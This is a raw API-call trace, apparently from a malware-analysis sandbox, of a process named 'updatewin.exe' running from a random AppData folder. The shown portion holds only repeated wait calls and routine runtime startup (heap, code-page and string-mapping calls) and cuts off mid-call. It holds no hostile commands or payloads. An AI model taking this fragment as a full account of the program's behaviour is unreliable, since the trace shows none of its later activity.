(hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.418] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.478] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.514] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.527] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.554] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.574] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.618] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.658] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.712] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.749] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.767] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.785] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.803] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.809] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.824] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.844] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.867] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.872] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.891] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.909] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.926] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.934] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.951] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.006] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.011] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.029] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.052] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.057] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.075] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.090] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.119] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.136] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.151] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.166] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.322] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.338] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.362] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.368] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.388] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.406] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.445] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.461] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.478] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.523] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.565] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.601] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.695] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.746] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.788] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.835] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.882] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.929] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.958] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0066.976] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0067.009] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0067.025] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0067.053] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0067.100] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0067.162] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0067.216] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0067.356] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0067.399] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0067.445] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) Process: id = "9" image_name = "updatewin.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin.exe" page_root = "0x45c55000" os_pid = "0x7b4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x714" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 55 os_tid = 0x5cc [0049.302] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xe45baf0, dwHighDateTime=0x1d53559)) [0049.302] GetCurrentProcessId () returned 0x7b4 [0049.302] GetCurrentThreadId () returned 0x5cc [0049.302] GetTickCount () returned 0x1b05a [0049.302] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=16958837528) returned 1 [0049.325] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0049.325] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x590000 [0049.326] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.326] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0049.326] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0049.327] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0049.327] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0049.327] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.327] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0049.327] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.327] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0049.327] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.327] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0049.327] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.327] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0049.328] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.328] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0049.328] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.328] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0049.328] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.328] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0049.328] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.328] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0049.329] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x214) returned 0x5907d0 [0049.329] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.329] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0049.329] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.329] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0049.329] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0049.329] GetCurrentThreadId () returned 0x5cc [0049.329] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0049.329] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x800) returned 0x5909f0 [0049.329] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0049.329] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0049.329] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0049.329] SetHandleCount (uNumber=0x20) returned 0x20 [0049.329] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin.exe\" " [0049.330] GetEnvironmentStringsW () returned 0x5b4e60* [0049.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0049.330] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x565) returned 0x5911f8 [0049.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x5911f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0049.330] FreeEnvironmentStringsW (penv=0x5b4e60) returned 1 [0049.330] GetLastError () returned 0x0 [0049.330] SetLastError (dwErrCode=0x0) [0049.330] GetLastError () returned 0x0 [0049.330] SetLastError (dwErrCode=0x0) [0049.330] GetLastError () returned 0x0 [0049.330] SetLastError (dwErrCode=0x0) [0049.330] GetACP () returned 0x4e4 [0049.330] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x220) returned 0x591768 [0049.330] GetLastError () returned 0x0 [0049.330] SetLastError (dwErrCode=0x0) [0049.330] IsValidCodePage (CodePage=0x4e4) returned 1 [0049.330] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0049.330] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0049.330] GetLastError () returned 0x0 [0049.330] SetLastError (dwErrCode=0x0) [0049.330] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0049.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0049.331] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0049.331] GetLastError () returned 0x0 [0049.331] SetLastError (dwErrCode=0x0) [0049.331] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0049.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ袇﹋㞥AĀ") returned 256 [0049.331] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ袇﹋㞥AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0049.331] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ袇﹋㞥AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0049.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x78\x78\x4f\xfc\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0049.331] GetLastError () returned 0x0 [0049.331] SetLastError (dwErrCode=0x0) [0049.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ袇﹋㞥AĀ") returned 256 [0049.331] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ袇﹋㞥AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0049.331] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ袇﹋㞥AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0049.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 